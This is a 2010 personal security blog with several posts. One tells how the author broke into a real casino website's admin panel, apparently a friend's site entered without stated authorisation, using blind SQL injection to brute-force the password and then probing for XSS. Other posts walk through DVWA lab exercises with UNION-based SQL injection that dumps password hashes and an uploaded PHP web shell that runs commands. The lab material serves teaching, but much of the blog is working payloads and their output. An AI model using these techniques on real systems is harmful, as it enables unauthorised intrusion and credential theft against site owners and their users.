Hacking a Casino!!

July 4, 2010 at 11:50 pm (.NET, Programming, Security, SQL, SQL Injection)

Hey,

So I was playing around with a friends website the other day and managed to break into the ‘admin’ area. I thought I should write a quick post to explain how I managed to do this.

First of all, I am not going to disclose the link to you all for obvious reasons so the link in the examples will actually be commented out. Anyway, a little about the website in question. It is a casino website that is written in mainly Flash with a little ASP.net relying on an MSSQL database. The main casino login was protected pretty well. I decided to fuzz for other directories and found the obvious one: /admin/. This was the login page to the backend of the casino, much more fun than the frontend login, at least that’s what I thought 🙂 So, onto the hack…

When you visit:

http://www.xxx.co.uk/admin/login.aspx

You are presented with a login page that simply has a Username and Password form with a login and reset button. Right underneath the login/reset buttons was a string that said “username not found” or “password not found”, depending on which was correct or not. This enabled me to test the SQL injection and see if my queries were true or false. My friends name was Nigel Davies, I tried a combination of usernames that I thought he would use and stumbled across: “nigel_d”. How did I know that this was the correct username? Well I first of all started entering usernames and passwords, not to try and guess them but to see how the form reacted to different inputs, I got the following when I entered an incorrect username:

“username not found”

No surprises there then, however when I tried the “nigel_d” username and a random password I was presented with:

“wrong password”

Bingo! We now know the username “nigel_d” is valid 🙂

I then went on to test for SQL injections, my first point of call was the normal:

Username: ‘
Password: ‘

And I received the following page back:

Server Error in ‘/’ Application.
Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.

Source Error:

Line 29: con.Open()
Line 30: cmdSelect = New SqlCommand(“Select * From tb_CP_control where username= ‘” & username & “‘”, con)
Line 31: rd = cmdSelect.ExecuteReader()
Line 32: rd.Read()
Line 33: If rd.HasRows = True Then

Stack Trace:

[SqlException (0x80131904): Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.]
System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +1950890
System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4846875
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194
System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +2392
System.Data.SqlClient.SqlDataReader.ConsumeMetaData() +33
System.Data.SqlClient.SqlDataReader.get_MetaData() +83
System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) +297
System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async) +954
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, DbAsyncResult result) +162
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +32
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +141
System.Data.SqlClient.SqlCommand.ExecuteReader() +89
ASP.admin_login_aspx.__Render__control1(HtmlTextWriter __w, Control parameterContainer) in e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx:31
System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +256
System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +19
System.Web.UI.Page.Render(HtmlTextWriter writer) +29
System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +27
System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +99
System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1266

Version Information: Microsoft .NET Framework Version:2.0.50727.3603; ASP.NET Version:2.0.50727.3082

Woohoo, look at all that juicy information! What have we got here then, the first interesting part is:

Line 29: con.Open()
Line 30: cmdSelect = New SqlCommand(“Select * From tb_CP_control where username= ‘” & username & “‘”, con)
Line 31: rd = cmdSelect.ExecuteReader()
Line 32: rd.Read()
Line 33: If rd.HasRows = True Then

This shows us the actual SQL statement being executed:

Select * From tb_CP_control where username= ‘” & username & “‘

This is almost certainly vulnerable to SQL injection attacks 🙂 The next interesting part is this:

Source File: e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx Line: 31

Path disclosure. This tells me that it is a shared hosting environment because of the order of the path, domains, first letter of the domains, domain itself, so on and so forth. Also looking at the whois information for the domain shows it is registered and hosted with a fairly well known hosting company. That would be interesting if the scope of the test was the whole server itself.. however I am just playing with my friends website, so we will get back on track…

The problem we have here, is the Username field is vulnerable to SQL injection, however the Password field is not. So the only option I can think of, is to use the username field to bruteforce the password.. sounds good, let’s give it a try…

So let’s try bruteforcing the password then (I am using the FireFox plugin HackBar to aid me in this, so the SQL will be a copy and paste from what I enter in there):

user=’ or 1=1 and password like ‘a%’– &passwd=a

What happens here is we broaden the select statement to include all users with the (‘ or 1=1) meaning true, then we narrow the select statement so we only receive the ones with a password matching our pattern using the like statement. Like uses two different wild cards ‘_’ for single letters and ‘%’ for any strings (without the quotes).

So we are testing to see if any users passwords begin with ‘a’. We can now go through all characters a-zA-Z0-9 to find ones that match and that will make up our password. There is a way to speed things up here, such as using upper(password) and then passing ‘A%’ and &passwd=A. This then means we only have to go through characters A-Z0-9, which is a lot quicker. So moving on, after we enter the SQL statement above we get the following returned on the page:

“username not found”

Which means the letter a doesn’t match any users first character of their passwords. Let’s move onto the next character:

user=’ or 1=1 and upper(password) like ‘B%’– &passwd=B

Which gives us:

“username not found”

Still no characters matching 😦 moving on and leaving out a few to keep the post short:

user=’ or 1=1 and upper(password) like ‘N%’– &passwd=N

This gives us something slightly different:

“wrong password”

Now this means it matched the first character to a user’s password, however its incomplete so the wrong password message is displayed. Now we know that the first character of the password is an ‘n’. Onto the 2nd character of the password:

user=’ or 1=1 and upper(password) like ‘NA%’– &passwd=NA

Which in return gives us:

“username not found”

Now we just iterate through all the chracters until we get the “wrong password” string returned:

user=’ or 1=1 and upper(password) like ‘NI%’– &passwd=NI

Which gives us:

“wrong password”

Excellent, we now have the second character. We basically repeat this process until it logs us into the admin area. What happens is when you hit the end character of the password, the password is correct and when you execute the statement it logs you in, I managed to get into the admin area with the following statement:

user=’ or 1=1 and password like ‘niggle%’– &passwd=niggle

So it turns out his password was ‘niggle’ 🙂 When I was doing this, I noticed something pretty bad about the way the message was displayed on the page (when you got either “wrong username” or “wrong password”) take a look at the URL that you get when it returns these strings:

http://www.xxx.co.uk/admin/index.asp?msg=wrong%20password

I smell, XSS… let’s give it a whirl 🙂

http://www.xxx.co.uk/admin/index.asp?msg=%22zoidberg%20pwnz%20j00%22

And low and behold, “zoidberg pwnz j00” gets returned as the string on the page, haha. Returning to the SQL injection, here are a few more tricks to speed things up, if you wanna guess the password as a whole string you could use the following method:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = ‘abc’ ) = 1 — &passwd=test

Which returns:

“username not found”

Because the password doesn’t match, however, if we try characters from the real password:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = ‘nig’ ) = 1 — &passwd=test

We get:

“wrong password”

Excellent, so we can test it with this:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,5) = ‘niggl’ ) = 1 — &passwd=test

“wrong password”

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = ‘niggle’ ) = 1 — &passwd=test

“wrong password”

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = ‘nigglea’ ) = 1 — &passwd=test

“username not found”

So as you can see that definatley confirms that ‘niggle’ is the password. Also a quick way to check the password length before doing the bruteforce so you know how many characters there are is:

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 1 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 2 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 5 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 6 –&passwd=test

“wrong password”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 7 –&passwd=test

“username not found”

So as you can see from the above statements 5 is false, 6 is true and 7 is false, meaning the password length is 6 characters long, which ties in with the password being ‘niggle’.

I had a lot of fun playing around with this site, hope it helps someone out. Until the next time…

Permalink Leave a Comment

SQLi: Silly PHP Authentication…

June 18, 2010 at 10:37 pm (Programming, Security, SQL, SQL Injection)

Hey,

I wrote a silly little PHP based authentication page. It uses a MySQL database to store the username and password, presents the user with a login prompt where they can enter their login credentials. If they don’t have any then they can take advantage of it using SQL Injection, let’s take a quick look at it. First you will need to create a MySQL database:

mysql> create table userauth (id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT, username VARCHAR(16) NOT NULL, pswd VARCHAR(32) NOT NULL, PRIMARY KEY(id));
Query OK, 0 rows affected (0.00 sec)
mysql> insert into userauth (id, username, pswd) values (1, "zoidberg", "password");
Query OK, 1 row affected (0.00 sec)
mysql> select * from userauth;
+----+----------+----------+
| id | username | pswd |
+----+----------+----------+
| 1 | zoiddberg | password |
+----+----------+----------+
1 row in set (0.00 sec)
mysql>

Now to create the login page:

<?php
function authenticate_user()
{
header('WWW-Authenticate: Basic realm="Private Area"');
header("HTTP/1.0 401 Unauthorized");
exit;
}
if (!isset($_SERVER['PHP_AUTH_USER'])) {
authenticate_user();
} else {
mysql_connect("database_host", "database_username", "database_password") or die("Can't connect to the fucking database, blaaad!");
mysql_select_db("database_name") or die("Can't select da fucking database b0ss!");
$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";
$result = mysql_query($query);
if (mysql_num_rows($result) == 0) {
authenticate_user();
} else {
echo "Welcome to the Private Area... :-)";
}
}
?>

Now to take advantage 🙂 Navigate to the page in your browser, and enter the following in the username field:

' OR '1'='1'--

To understand this let’s take a look at the MySQL query:

$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";

So that is what the query looks like, well when we inject ‘ OR ‘1’=’1′– into the username field, it then looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'-- AND pswd='$_SERVER[PHP_AUTH_PW]'";

Remember that — is a MySQL comment, so everything after it gets left out of the query that gets sent to the database. So our query which gets passed to the database looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'--

What happens here is, select username and password from table_name where username is nothing OR true.. this will result in a successful login and give you access to the Private Area 🙂 very simple and contrived example.

Permalink 1 Comment

My Notes on Bit Manipulation…

June 16, 2010 at 12:03 pm (Bit Manipulation, Programming)

Hey,

Recently I have been doing some research into Bit Manipulation, mainly because I don’t really understand it! I wanted to fix this, so the research began… 🙂 What is a “bit”? Well a bit is what a byte is made up of, to be exact 8 bits make a byte. A bit is the most basic unit of computer memory we can deal with, it has two states, “on” or “off”, or “true” or “false” and probably many more but these are the ones I will stick to using. A byte can hold any number from 0 to 255. How can this be possible when 1 byte is made up of 8 bits you ask? Well, there needs to be order in the bits 🙂 It works from left to right like so:

7 6 5 4 3 2 1 0

Which equates to: bit 7, bit 6, bit 5, bit 4 … bit 0. A byte with the value of 0 would look like this:

00000000

And a byte with the value of 255 would look like this:

11111111.

OK, so how do we work out the numbers in between these two points (0 and 255). Well there is a simple formula we can use:

    bit 0 = 20 = 1 
bit 1 = 21 = 2
bit 2 = 22 = 4
bit 3 = 23 = 8
bit 4 = 24 = 16
bit 5 = 25 = 32
bit 6 = 26 = 64
bit 7 = 27 = 128

So looking at the above table, say we have the binary number: 00000010, lets put it into the table and figure out what number this represents in decimal:

    bit 0 = OFF: 0 = 1
bit 1 = ON: 1 = 2
bit 2 = OFF: 0 = 4
bit 3 = OFF: 0 = 8
bit 4 = OFF: 0 = 16
bit 5 = OFF: 0 = 32
bit 6 = OFF: 0 = 64
bit 7 = OFF: 0 = 128

As you can clearly see the value is represented as 2 in decimal. What about a more complicated binary number, such as:

10101010

So let’s place this in the table and figure it out:

    bit 0 = OFF: 0 = 1
bit 1 = ON: 1 = 2
bit 2 = OFF: 0 = 4
bit 3 = ON: 1 = 8
bit 4 = OFF: 0 = 16
bit 5 = ON: 1 = 32
bit 6 = OFF: 0 = 64
bit 7 = ON: 1 = 128
---------------------------------- Total: 170

As you can see, you put the number in the table, and add up all the “ON” bits… it’s as simple as that 🙂 Something to remember here is, I draw the tables starting at bit 1, remember the decimal numbers if you read them left to right start off at bit 7 and go down to bit 0. Since each bit has a unique value (128, 64, 32, 16, 8, 4, 2, 1) we are able to figure out the states of each of the bits, whether they are on or off. Rather than doing this the hard way there is a simple method called, boolean logic. There are a handful of boolean logic operators, such as:

OR (inclusive or), XOR (exclusive or), NOT, AND.

Using the above functions we are able to clear, set and test each of the bits that make up any byte. For instance the NOT function is an operation that performs logical negation which means that it switches the bits, for example:

NOT 0110 (decimal: 6)
=   1001 (decimal: 9)

A bitwise OR takes two bit patterns of equal length and produces another one of the same length by matching up the corresponding bits. It will then perform a logical inclusive OR operation on each pairing of bits. For example:

OR 1010 (decimal: 10)
    0110 (decimal: 6)
----------
=   1110 (decimal: 14)

A bitwise exclusive OR (XOR) also takes two patterns of equal length and performs a logical XOR operation on each pairing of bits. If the two bits are different you will get a 1, if they are the same you will get a 0, like so:

XOR 1101 (decimal: 13)
    0011 (decimal: 3)
-----------
=   1110 (decimal: 14)

The bitwise AND operator takes two binary representations of equal length and performs the bitwise AND operation. If the two bits are the same, e.g. 1 and 1 you get 1 otherwise 0 is the outcome. For example:

AND 1100 (decimal: 12)
    0101 (decimal: 5)
------------
=   0110 (decimal: 6)

That’s is it for me on bit manipulation for now. I will continue posting about the topic as there is plenty more to talk about, so until the next time…

Permalink Leave a Comment

SQL Injection DVWA Continued…

June 13, 2010 at 7:59 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So continuing on from the low level, let’s take a look at the medium level. Here is the code:

<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid="SELECT first_name, last_name FROM users WHERE user_id = $id";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>

So as you can see it is exactly the same apart from the:

$id = mysql_real_escape_string($id);

The only thing that this prevents us from doing compared to the low level is, using quotes. So we can simply own the level in the same manner just removing the quotes we used, like so:

ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: admin
ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: 1 union all select user,password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1 union all select user,password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1 union all select user,password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1 union all select user,password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

As you can see exactly the same way, the reason that we can’t use quotes is pretty self explanatory from looking at this page.

Let’s talk about the high level then, first let’s take a look at the code:

<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>

This has a lot more sanitization and as far as I am aware it is not exploitable. The problem is the following bit of code:

// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

I know I can bypass the mysql_real_escape_string($id) from the medium level. I am just not sure and have not found a way to successfully circumvent the stripslashes() and is_numeric() functions. If anyone has a way to circumvent this please let me know!

Permalink 7 Comments

SQL Injection DVWA

June 11, 2010 at 9:19 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So there are 3 SQL Injection levels on the Damn Vulnerable Web Application (Low, Medium and High). In this post I will explain how to defeat the low level, let’s take a look at the code first:

<?php

if(isset($_GET['Submit'])){

// Retrieve data

// ERROR: PHP Notice: Undefined index: id
$id=$_GET['id'];

$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num=mysql_numrows($result);

$i=0;

while ($i < $num) {

$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

So the above code is vulnerable to SQL Injection, let’s take a closer look at the following snippet:

$id=$_GET['id'];
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";

As you can see there is no sanitization used, the variable is simply inserted straight into the SQL query. This is the most basic type of SQL Injection you may come across. Let’s confirm it is definatley vulnerable to SQL Injection:

UserID: '

The page returned spits out the following error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

This confirms to us it is vulnerable to SQL Injection, first thing to do is find out how many columns there are:

UserID: ' ORDER BY 1--
UserID: ' ORDER BY 2--

These simply return the same page…

UserID: ' ORDER BY 3--

Then this gives us an invaluable error message:

Unknown column '3' in 'order clause'

What does this tell us? Well it tells us that there are two columns, which are obviously the first_name and last_name columns as when you pass the UserID: form a valid User ID (1) for example you get this:

ID: 1
First name: admin
Surname: admin

Right, now its time to find out the database name, table name, column name and anything else useful and interesting. First thing first let’s find out the database version:

ID: ' union all select 1,@@VERSION--
First name: 1
Surname: 5.1.37-1ubuntu5.1

So it is using MySQL 5.1.37-1 on Ubuntu. Lets find the user the database is running as and the name of the database we are dealing with:

ID: ' union all select user(),database()--
First name: root@localhost
Surname: dvwa

Ok so the user is root (awesome!!) and the database we are concerned with is ‘dvwa’ 😉 Right OK, since the user is root let’s see what we can gleam:

ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: debian-sys-maint
Surname: *65BFD4D79D51FF884D573209BC7DE1D1A3D0AA4E

Wow! We got the root passord hash 🙂 So as you can see because the application is using the root user, we can pretty much own the whole system from here. However I will focus on the DVWA level 🙂 So, we know the database name is dvwa, and the columns are first_name and last_name. Let’s find out the table name:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: CHARACTER_SETS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATION_CHARACTER_SET_APPLICABILITY
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMNS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMN_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ENGINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: EVENTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: FILES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: KEY_COLUMN_USAGE
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PARTITIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PLUGINS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROCESSLIST
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROFILING
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: REFERENTIAL_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ROUTINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMATA
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMA_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: STATISTICS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TRIGGERS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: USER_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: VIEWS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: users
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: columns_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: db
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: event
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: func
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: general_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_category
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_keyword
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_relation
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_topic
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: host
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ndb_binlog_index
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: plugin
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: proc
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: procs_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: servers
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: slow_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: tables_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_leap_second
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_name
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition_type
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: user
Surname: ޭ��

Bingo, we got all the tables from information_schema.tables :-), so we can hazard a guess that the two tables in the ‘dvwa’ database are; users and guestbook. Before I move on an finish this level, I want to show you some other ways to grab databases, tables and columns:

ID: ' union select group_concat(schema_name),2 from information_schema.schemata--
First name: information_schema,dvwa,mysql
Surname: 2

Or:

ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: information_schema
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: dvwa
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: mysql
Surname: ޭ��

Also I might as well mention the other way to find the tables too:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: users
Surname: ޭ��

Right so back to it, recap; we know the database name is dvwa and we have two tables users and guestbook. Last crucial bit of information is the column names, lets grab them:

ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: first_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: last_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: password
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: avatar
Surname: ޭ��

Ok so we have everything we need now, lets get all the usernames and password hashes for this level:

ID: ' union all select user, password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: ' union all select user, password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union all select user, password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union all select user, password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union all select user, password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Jon done 🙂 Just to put this into perspective, if you goto Milw0rm, Click on the cracker link and you can sumbit your hash to see if its already been cracked, take the user ‘gordonb’ for example:

-::TYPE -::HASH -::PASS -::STATUS
md5 e99a18c428cb38d5f260853678922e03 abc123 cracked

My next post will explain how to beat it on Medium difficulty and then to talk about the High difficulty level. So until the next time…

Permalink 8 Comments

Abusing PHP Upload Scripts For Fun and Profit

June 11, 2010 at 6:47 am (PHP, Programming, Security, Upload)

Hey,

So looking at the upload level on Damn Vulnerable Web Application on low and medium settings, it is probably worth putting them into one post 🙂

Let’s take a look at the code for the upload level on the low setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}

}
?>

As you can see this script will allow us to pretty much upload any type of file we want. What would happen if we uploaded a file simply containing the following line of PHP code:

<?php passthru($_GET['cmd']); ?>

Well, it will upload to hackable/uploads to start with so if you point your browser to:

http://localhost/dvwa/hackable/uploads/pwnme.php?cmd=ls

BINGO! 🙂 Nice and simple that one was, yeah? Let’s take a look at the same level but on the medium setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>

Now this looks a little better, but is it? Notice the check:

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

